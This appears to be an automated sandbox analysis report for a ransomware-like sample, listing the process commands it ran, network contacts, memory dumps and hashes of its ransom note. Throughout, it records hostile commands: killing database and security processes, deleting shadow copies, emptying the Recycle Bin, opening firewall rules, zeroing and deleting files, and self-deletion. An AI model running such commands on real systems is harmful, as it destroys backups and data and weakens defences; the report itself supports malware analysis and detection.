"taskkill.exe" /IM xfssvccon.exe /F

C:\Windows\SYSTEM32\taskkill.exe

"taskkill.exe" /IM msftesql.exe /F

C:\Windows\SYSTEM32\taskkill.exe

"taskkill.exe" /IM mysqld-opt.exe /F

C:\Windows\SYSTEM32\taskkill.exe

"taskkill.exe" /IM mbamtray.exe /F

C:\Windows\SYSTEM32\taskkill.exe

"taskkill.exe" /IM powerpnt.exe /F

C:\Windows\SYSTEM32\taskkill.exe

"taskkill.exe" /IM ocautoupds.exe /F

C:\Windows\SYSTEM32\taskkill.exe

"taskkill.exe" /IM zoolz.exe /F

C:\Windows\SYSTEM32\taskkill.exe

"taskkill.exe" /IM mydesktopqos.exe /F

C:\Windows\System32\Conhost.exe

\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

C:\Windows\System32\Conhost.exe

\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

C:\Windows\SYSTEM32\taskkill.exe

"taskkill.exe" /IM ocssd.exe /F

C:\Windows\SYSTEM32\taskkill.exe

"taskkill.exe" /IM visio.exe /F

C:\Windows\SYSTEM32\taskkill.exe

"taskkill.exe" /IM oracle.exe /F

C:\Windows\System32\Conhost.exe

\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

C:\Windows\SYSTEM32\taskkill.exe

"taskkill.exe" /IM mydesktopservice.exe /F

C:\Windows\SYSTEM32\taskkill.exe

"taskkill.exe" /IM sqlagent.exe /F

C:\Windows\SYSTEM32\taskkill.exe

"taskkill.exe" /IM winword.exe /F

C:\Windows\SYSTEM32\taskkill.exe

"taskkill.exe" /IM sqlbrowser.exe /F

C:\Windows\SYSTEM32\taskkill.exe

"taskkill.exe" /IM mysqld-nt.exe /F

C:\Windows\System32\Conhost.exe

\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

C:\Windows\SYSTEM32\taskkill.exe

"taskkill.exe" /IM sqlservr.exe /F

C:\Windows\System32\Conhost.exe

\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"powershell.exe" & Get-WmiObject Win32_Shadowcopy | ForEach-Object { $_Delete(); }

C:\Windows\SYSTEM32\cmd.exe

"cmd.exe" /c rd /s /q %SYSTEMDRIVE%\\$Recycle.bin

C:\Windows\SYSTEM32\netsh.exe

"netsh" advfirewall firewall set rule group=\"Network Discovery\" new enable=Yes

C:\Windows\SYSTEM32\netsh.exe

"netsh" advfirewall firewall set rule group=\"File and Printer Sharing\" new enable=Yes

C:\Windows\SYSTEM32\arp.exe

"arp" -a

C:\Windows\System32\mshta.exe

"C:\Windows\System32\mshta.exe" C:\Users\Admin\Desktop\RESTORE_FILES_INFO.hta

C:\Windows\SYSTEM32\cmd.exe

"cmd.exe" /C ping 127.0.0.7 -n 3 > Nul & fsutil file setZeroData offset=0 length=524288 “%s” & Del /f /q “%s”

C:\Windows\system32\PING.EXE

ping 127.0.0.7 -n 3

C:\Windows\system32\fsutil.exe

fsutil file setZeroData offset=0 length=524288 “%s”

C:\Windows\System32\cmd.exe

"C:\Windows\System32\cmd.exe" "/C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\8c723af5c826adea162ef3f2e37a1cca7b43d549c9a5fab7c9ff17f65eb5d8e7.exe

C:\Windows\system32\choice.exe

choice /C Y /N /D Y /T 3

Network

Country Destination Domain Proto
US 8.8.8.8:53 www.poweradmin.com udp
US 52.1.55.52:443 www.poweradmin.com tcp
US 8.8.8.8:53 live.sysinternals.com udp
GB 20.49.223.105:80 live.sysinternals.com tcp
N/A 10.10.0.255:3 udp
N/A 10.10.0.255:3 udp

Files

memory/500-114-0x0000000000390000-0x0000000000391000-memory.dmp

memory/500-116-0x000000001AF90000-0x000000001AF92000-memory.dmp

memory/4024-117-0x0000000000000000-mapping.dmp

memory/932-118-0x0000000000000000-mapping.dmp

memory/2680-119-0x0000000000000000-mapping.dmp

memory/3904-120-0x0000000000000000-mapping.dmp

memory/4056-121-0x0000000000000000-mapping.dmp

memory/2008-122-0x0000000000000000-mapping.dmp

memory/3772-124-0x0000000000000000-mapping.dmp

memory/1260-123-0x0000000000000000-mapping.dmp

memory/4040-125-0x0000000000000000-mapping.dmp

memory/1960-126-0x0000000000000000-mapping.dmp

memory/3032-127-0x0000000000000000-mapping.dmp

memory/2616-128-0x0000000000000000-mapping.dmp

memory/2712-129-0x0000000000000000-mapping.dmp

memory/512-131-0x0000000000000000-mapping.dmp

memory/3880-132-0x0000000000000000-mapping.dmp

memory/2180-130-0x0000000000000000-mapping.dmp

memory/1532-133-0x0000000000000000-mapping.dmp

memory/3348-135-0x0000000000000000-mapping.dmp

memory/2032-134-0x0000000000000000-mapping.dmp

memory/2116-136-0x0000000000000000-mapping.dmp

memory/1092-137-0x0000000000000000-mapping.dmp

memory/2684-138-0x0000000000000000-mapping.dmp

memory/2968-139-0x0000000000000000-mapping.dmp

memory/1096-140-0x0000000000000000-mapping.dmp

memory/2192-141-0x0000000000000000-mapping.dmp

memory/1452-142-0x0000000000000000-mapping.dmp

memory/2084-143-0x0000000000000000-mapping.dmp

memory/2512-144-0x0000000000000000-mapping.dmp

memory/3896-146-0x0000000000000000-mapping.dmp

memory/1020-145-0x0000000000000000-mapping.dmp

memory/3028-147-0x0000000000000000-mapping.dmp

memory/2776-148-0x0000000000000000-mapping.dmp

memory/2080-149-0x0000000000000000-mapping.dmp

memory/420-150-0x0000000000000000-mapping.dmp

memory/2308-152-0x0000000000000000-mapping.dmp

memory/3908-151-0x0000000000000000-mapping.dmp

memory/2432-153-0x0000000000000000-mapping.dmp

memory/2780-154-0x0000000000000000-mapping.dmp

memory/1580-155-0x0000000000000000-mapping.dmp

memory/4060-156-0x0000000000000000-mapping.dmp

memory/1236-157-0x0000000000000000-mapping.dmp

memory/3792-158-0x0000000000000000-mapping.dmp

memory/1512-159-0x0000000000000000-mapping.dmp

memory/2428-160-0x0000000000000000-mapping.dmp

memory/3784-161-0x0000000000000000-mapping.dmp

memory/3892-162-0x0000000000000000-mapping.dmp

memory/4008-163-0x0000000000000000-mapping.dmp

memory/1936-164-0x0000000000000000-mapping.dmp

memory/2108-165-0x0000000000000000-mapping.dmp

memory/1432-166-0x0000000000000000-mapping.dmp

memory/1908-167-0x0000000000000000-mapping.dmp

memory/1176-168-0x0000000000000000-mapping.dmp

memory/3024-169-0x0000000000000000-mapping.dmp

memory/1272-170-0x0000000000000000-mapping.dmp

memory/2116-171-0x0000000000000000-mapping.dmp

memory/3880-172-0x0000000000000000-mapping.dmp

memory/1260-173-0x0000000000000000-mapping.dmp

memory/3564-174-0x0000000000000000-mapping.dmp

memory/1596-175-0x0000000000000000-mapping.dmp

memory/1556-176-0x0000000000000000-mapping.dmp

memory/2192-177-0x0000000000000000-mapping.dmp

memory/2512-178-0x0000000000000000-mapping.dmp

memory/4008-179-0x0000000000000000-mapping.dmp

memory/4008-184-0x000001D2990E0000-0x000001D2990E1000-memory.dmp

memory/4008-187-0x000001D2B1720000-0x000001D2B1721000-memory.dmp

memory/4008-199-0x000001D298EE6000-0x000001D298EE8000-memory.dmp

memory/4008-200-0x000001D298EE3000-0x000001D298EE5000-memory.dmp

memory/4008-198-0x000001D298EE0000-0x000001D298EE2000-memory.dmp

memory/3904-202-0x0000000000000000-mapping.dmp

C:\Users\Admin\Desktop\RESTORE_FILES_INFO.hta

MD5 683ba2a5303536fe43723b261b0405ce
SHA1 b2bae1e27da5d72bd0158a1b6ca631ae804a0c1f
SHA256 0d5f70348450921ec4845e64e0c4556ff609ec91a069e9f50c2e6e55aa4dfb11
SHA512 554ec3c902093f8e64c07d245f77d7ad13a2097e2f928942031d11fafb0d8720e94b9d9e8a7997928bbafb289147cd2c82e9cbb5738b99a87d3a060f5f2de2f6